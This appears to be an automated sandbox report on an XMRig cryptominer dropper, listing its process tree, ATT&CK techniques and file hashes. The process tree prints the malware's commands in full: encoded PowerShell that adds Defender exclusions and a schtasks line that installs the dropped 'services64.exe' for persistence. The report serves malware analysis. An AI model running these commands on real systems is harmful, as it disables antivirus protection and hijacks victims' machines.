Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    30-11-2021 17:19

General

  • Target

    4535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06.exe

  • Size

    5.4MB

  • MD5

    5748009f0073ba952cbb581c44530798

  • SHA1

    3304676ed8a238bf792a0fa359708861b3bfd42a

  • SHA256

    4535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06

  • SHA512

    03b13118184ea701e9257e2e9cc9698dffadfcd42276a3771477c95ff6e4351500ce85563444ccc98f948ae91c1ed6f6969ad33437105016c74a7e96adf0febf

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06.exe
    "C:\Users\Admin\AppData\Local\Temp\4535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2460
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2212
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1456
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\Microsoft\services64.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1440
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\Microsoft\services64.exe"
        3⤵
        • Creates scheduled task(s)
        PID:1724
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" cmd /c "C:\Users\Admin\Microsoft\services64.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4056
      • C:\Users\Admin\Microsoft\services64.exe
        C:\Users\Admin\Microsoft\services64.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3712
        • C:\Windows\system32\cmd.exe
          "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1476
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2968
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:64
        • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:604
          • C:\Windows\System32\conhost.exe
            "C:\Windows\System32\conhost.exe" "mlqowtwyezocuz"
            5⤵
              PID:580
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe rdwexnmbexgwvux0 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRha9S4YJkR8/KlqFio/vzAY7y//ZROYnArPXLiffwPB3EYEaWtdTNgeO+yOcML2FLdin0Rbrrbm/YoAjK7mqvZEX/HgK//sgsnHcQsRkM9iGKCen+11TiuyHWyZAdf1wMLE4agYXDET+uLyuqzRfvjrbqdOzrMw7uyk9GJnctDF8x49xwghsNTxALZT8Q9OM4wOBYwE039IMn9ca6XIbihdWj5HyYAJaQbSZphwh7fCuYt0jnCH0tNapinYPmpr65hdz5iy8i4gYX/G2mW0bWM7v5yf7/M2g2SVIovCp85oojSagGHvGHL9NSpcgvmBfYrdWxs22CrpiqlLHwgNqOtzxdN5e8kce4ENimY0bna8qreUya9Oikcj5lQ/56VmmV9Rh/Te8Hm+EfV7aQGkEt7MvpdIliJYJQpq2Rqw4034WTmYmYIyNc1KTfSbRTTojhYmzmEfUwH1A/sCOYdzo1OYQdU8gUbDvK3Kvse8WXom5OTFAiqYFmnf8ovp3DqBcmGqaVa1ozl51yTYaQREubTK3akW3GhtG5yyHb2vOLHgRrAgqZDab/X7gLYtnofzkqda7eCFUGhOiP05JYct6ux
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1224

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      MD5

      8592ba100a78835a6b94d5949e13dfc1

      SHA1

      63e901200ab9a57c7dd4c078d7f75dcd3b357020

      SHA256

      fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

      SHA512

      87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      2008e242410616dab05525524eef385a

      SHA1

      9933e68aa099f8b77139163b339a263c688eee22

      SHA256

      74be9a0971e76ae15973c2b4dda0bbc007d8bec24519108456261c0fe04f5784

      SHA512

      c1976151171f04d60817653ea27975f73d87d578c1155e83d91bf4e33f022ef9e6d6f546feb9ab629c2c94d08c75d5412afb0143e5ffc8e30ff659fe2502aa53

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      ea97ef9d0172a5d0086020a980577d4f

      SHA1

      6392764ce55d033d34e6fbb94f513755ee4fe337

      SHA256

      3eb95513beeb75fb3b27bc6e5f0df9c85cb1e940be2c6298665864c311373a23

      SHA512

      2797b78f5a8cc4d8ecc4cc88057e489dc4efed2a141fbf0111d087f652763f954dcfb90cc20a86789bd3095c40067024b164024c11f55c5e44e61e6e795bede5

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      MD5

      0827bc01e200d969ebb527ed6c762d7d

      SHA1

      0aad14d14a5809f3291bd0f5b73286d775329116

      SHA256

      e963fec4d6d8df5b702d932559450f6cdae4afebcc91e1b829f31ab983b1c7e9

      SHA512

      faaff6e4658d0f05306398a76fc8e62dd0409ad2c14ae073e548c80396280ce774d2979b3cb4027b0f9dff1e8cdf88203e7c9aa502ea9cde177b7813d3bb885d

    • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
      MD5

      9f196bd28274bbf24456746341db2b25

      SHA1

      3bd9a482dc88a6bd42465cb37c3d288a180386e0

      SHA256

      ee183792c122aed123b5b7e111911a5d61fef56053449d5cc11c262c1315c9cc

      SHA512

      5e2753c621534b14e5457ca81246cc17b00b55facc4a733d87e094ee63fb5afc51273d3a2ea94207abf01e211e911e2cd33f7895a3d13266c9544b87a39b4b56

    • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
      MD5

      9f196bd28274bbf24456746341db2b25

      SHA1

      3bd9a482dc88a6bd42465cb37c3d288a180386e0

      SHA256

      ee183792c122aed123b5b7e111911a5d61fef56053449d5cc11c262c1315c9cc

      SHA512

      5e2753c621534b14e5457ca81246cc17b00b55facc4a733d87e094ee63fb5afc51273d3a2ea94207abf01e211e911e2cd33f7895a3d13266c9544b87a39b4b56

    • C:\Users\Admin\Microsoft\services64.exe
      MD5

      5748009f0073ba952cbb581c44530798

      SHA1

      3304676ed8a238bf792a0fa359708861b3bfd42a

      SHA256

      4535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06

      SHA512

      03b13118184ea701e9257e2e9cc9698dffadfcd42276a3771477c95ff6e4351500ce85563444ccc98f948ae91c1ed6f6969ad33437105016c74a7e96adf0febf

    • C:\Users\Admin\Microsoft\services64.exe
      MD5

      5748009f0073ba952cbb581c44530798

      SHA1

      3304676ed8a238bf792a0fa359708861b3bfd42a

      SHA256

      4535de41278b2d4487e8f51de5851d8623de81e68060fe42d9ecb2cc23c4ed06

      SHA512

      03b13118184ea701e9257e2e9cc9698dffadfcd42276a3771477c95ff6e4351500ce85563444ccc98f948ae91c1ed6f6969ad33437105016c74a7e96adf0febf

    • memory/64-264-0x000001F3CE0F0000-0x000001F3CE0F2000-memory.dmp
      Filesize

      8KB

    • memory/64-295-0x000001F3CE0F8000-0x000001F3CE0F9000-memory.dmp
      Filesize

      4KB

    • memory/64-254-0x0000000000000000-mapping.dmp
    • memory/64-266-0x000001F3CE0F3000-0x000001F3CE0F5000-memory.dmp
      Filesize

      8KB

    • memory/64-293-0x000001F3CE0F6000-0x000001F3CE0F8000-memory.dmp
      Filesize

      8KB

    • memory/580-313-0x00000134FE513000-0x00000134FE515000-memory.dmp
      Filesize

      8KB

    • memory/580-306-0x00000134E4090000-0x00000134E4097000-memory.dmp
      Filesize

      28KB

    • memory/580-312-0x00000134FE510000-0x00000134FE512000-memory.dmp
      Filesize

      8KB

    • memory/580-314-0x00000134FE516000-0x00000134FE517000-memory.dmp
      Filesize

      4KB

    • memory/604-294-0x0000000000000000-mapping.dmp
    • memory/1224-302-0x000002AE44E50000-0x000002AE44E70000-memory.dmp
      Filesize

      128KB

    • memory/1224-301-0x0000000140000000-0x0000000140787000-memory.dmp
      Filesize

      7.5MB

    • memory/1224-299-0x0000000140310068-mapping.dmp
    • memory/1224-315-0x000002AE44E90000-0x000002AE44EB0000-memory.dmp
      Filesize

      128KB

    • memory/1440-202-0x0000000000000000-mapping.dmp
    • memory/1456-177-0x000001EBDC170000-0x000001EBDC172000-memory.dmp
      Filesize

      8KB

    • memory/1456-163-0x0000000000000000-mapping.dmp
    • memory/1456-167-0x000001EBDC170000-0x000001EBDC172000-memory.dmp
      Filesize

      8KB

    • memory/1456-168-0x000001EBDC170000-0x000001EBDC172000-memory.dmp
      Filesize

      8KB

    • memory/1456-165-0x000001EBDC170000-0x000001EBDC172000-memory.dmp
      Filesize

      8KB

    • memory/1456-171-0x000001EBDC170000-0x000001EBDC172000-memory.dmp
      Filesize

      8KB

    • memory/1456-172-0x000001EBDC170000-0x000001EBDC172000-memory.dmp
      Filesize

      8KB

    • memory/1456-205-0x000001EBF47C8000-0x000001EBF47C9000-memory.dmp
      Filesize

      4KB

    • memory/1456-175-0x000001EBF47C0000-0x000001EBF47C2000-memory.dmp
      Filesize

      8KB

    • memory/1456-176-0x000001EBF47C3000-0x000001EBF47C5000-memory.dmp
      Filesize

      8KB

    • memory/1456-204-0x000001EBF47C6000-0x000001EBF47C8000-memory.dmp
      Filesize

      8KB

    • memory/1456-166-0x000001EBDC170000-0x000001EBDC172000-memory.dmp
      Filesize

      8KB

    • memory/1476-213-0x0000000000000000-mapping.dmp
    • memory/1724-203-0x0000000000000000-mapping.dmp
    • memory/2212-121-0x0000000000000000-mapping.dmp
    • memory/2460-118-0x000000001C4E0000-0x000000001C8E3000-memory.dmp
      Filesize

      4.0MB

    • memory/2460-120-0x0000000000AD0000-0x0000000000AD1000-memory.dmp
      Filesize

      4KB

    • memory/2460-128-0x000000001C0C0000-0x000000001C0C2000-memory.dmp
      Filesize

      8KB

    • memory/2460-129-0x000000001C0C3000-0x000000001C0C5000-memory.dmp
      Filesize

      8KB

    • memory/2460-130-0x000000001C0C6000-0x000000001C0C7000-memory.dmp
      Filesize

      4KB

    • memory/2460-126-0x0000000000D00000-0x0000000001107000-memory.dmp
      Filesize

      4.0MB

    • memory/2540-131-0x000001AAF2E60000-0x000001AAF2E62000-memory.dmp
      Filesize

      8KB

    • memory/2540-137-0x000001AAF0F90000-0x000001AAF0F92000-memory.dmp
      Filesize

      8KB

    • memory/2540-173-0x000001AAF2E68000-0x000001AAF2E69000-memory.dmp
      Filesize

      4KB

    • memory/2540-122-0x0000000000000000-mapping.dmp
    • memory/2540-124-0x000001AAF0F90000-0x000001AAF0F92000-memory.dmp
      Filesize

      8KB

    • memory/2540-123-0x000001AAF0F90000-0x000001AAF0F92000-memory.dmp
      Filesize

      8KB

    • memory/2540-136-0x000001AAF3050000-0x000001AAF3051000-memory.dmp
      Filesize

      4KB

    • memory/2540-135-0x000001AAF0F90000-0x000001AAF0F92000-memory.dmp
      Filesize

      8KB

    • memory/2540-125-0x000001AAF0F90000-0x000001AAF0F92000-memory.dmp
      Filesize

      8KB

    • memory/2540-134-0x000001AAF0F90000-0x000001AAF0F92000-memory.dmp
      Filesize

      8KB

    • memory/2540-133-0x000001AAF2EA0000-0x000001AAF2EA1000-memory.dmp
      Filesize

      4KB

    • memory/2540-127-0x000001AAF0F90000-0x000001AAF0F92000-memory.dmp
      Filesize

      8KB

    • memory/2540-132-0x000001AAF2E63000-0x000001AAF2E65000-memory.dmp
      Filesize

      8KB

    • memory/2540-162-0x000001AAF0F90000-0x000001AAF0F92000-memory.dmp
      Filesize

      8KB

    • memory/2540-155-0x000001AAF2E66000-0x000001AAF2E68000-memory.dmp
      Filesize

      8KB

    • memory/2968-214-0x0000000000000000-mapping.dmp
    • memory/2968-263-0x0000020A7CD58000-0x0000020A7CD59000-memory.dmp
      Filesize

      4KB

    • memory/2968-261-0x0000020A7CD56000-0x0000020A7CD58000-memory.dmp
      Filesize

      8KB

    • memory/2968-228-0x0000020A7CD53000-0x0000020A7CD55000-memory.dmp
      Filesize

      8KB

    • memory/2968-226-0x0000020A7CD50000-0x0000020A7CD52000-memory.dmp
      Filesize

      8KB

    • memory/3712-223-0x000000001C1D3000-0x000000001C1D5000-memory.dmp
      Filesize

      8KB

    • memory/3712-207-0x0000000000000000-mapping.dmp
    • memory/3712-224-0x000000001C1D6000-0x000000001C1D7000-memory.dmp
      Filesize

      4KB

    • memory/3712-221-0x000000001C1D0000-0x000000001C1D2000-memory.dmp
      Filesize

      8KB

    • memory/4056-206-0x0000000000000000-mapping.dmp